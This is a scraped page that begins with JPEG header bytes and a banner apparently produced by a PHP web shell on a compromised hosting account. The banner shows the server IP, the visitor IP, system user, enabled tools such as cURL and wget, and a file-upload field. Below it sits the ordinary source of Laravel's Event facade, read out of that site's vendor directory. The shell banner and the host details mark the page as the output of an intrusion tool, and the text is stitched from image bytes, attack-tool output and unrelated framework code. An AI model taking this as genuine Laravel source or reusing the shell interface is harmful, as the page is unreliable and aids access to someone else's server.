����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.170 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././www/vendor/laravel/framework/src/Illuminate/Support/Facades/ |
Upload File : |
<?php
namespace Illuminate\Support\Facades;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Testing\Fakes\EventFake;
/**
* @method static \Closure createClassListener(string $listener, bool $wildcard = false)
* @method static \Closure makeListener(\Closure|string $listener, bool $wildcard = false)
* @method static \Illuminate\Events\Dispatcher setQueueResolver(callable $resolver)
* @method static array getListeners(string $eventName)
* @method static array|null dispatch(string|object $event, mixed $payload = [], bool $halt = false)
* @method static array|null until(string|object $event, mixed $payload = [])
* @method static bool hasListeners(string $eventName)
* @method static void assertDispatched(string|\Closure $event, callable|int $callback = null)
* @method static void assertDispatchedTimes(string $event, int $times = 1)
* @method static void assertNotDispatched(string|\Closure $event, callable|int $callback = null)
* @method static void assertListening(string $expectedEvent, string expectedListener)
* @method static void flush(string $event)
* @method static void forget(string $event)
* @method static void forgetPushed()
* @method static void listen(\Closure|string|array $events, \Closure|string|array $listener = null)
* @method static void push(string $event, array $payload = [])
* @method static void subscribe(object|string $subscriber)
*
* @see \Illuminate\Events\Dispatcher
*/
class Event extends Facade
{
/**
* Replace the bound instance with a fake.
*
* @param array|string $eventsToFake
* @return \Illuminate\Support\Testing\Fakes\EventFake
*/
public static function fake($eventsToFake = [])
{
static::swap($fake = new EventFake(static::getFacadeRoot(), $eventsToFake));
Model::setEventDispatcher($fake);
Cache::refreshEventDispatcher();
return $fake;
}
/**
* Replace the bound instance with a fake during the given callable's execution.
*
* @param callable $callable
* @param array $eventsToFake
* @return callable
*/
public static function fakeFor(callable $callable, array $eventsToFake = [])
{
$originalDispatcher = static::getFacadeRoot();
static::fake($eventsToFake);
return tap($callable(), function () use ($originalDispatcher) {
static::swap($originalDispatcher);
Model::setEventDispatcher($originalDispatcher);
Cache::refreshEventDispatcher();
});
}
/**
* Get the registered name of the component.
*
* @return string
*/
protected static function getFacadeAccessor()
{
return 'events';
}
}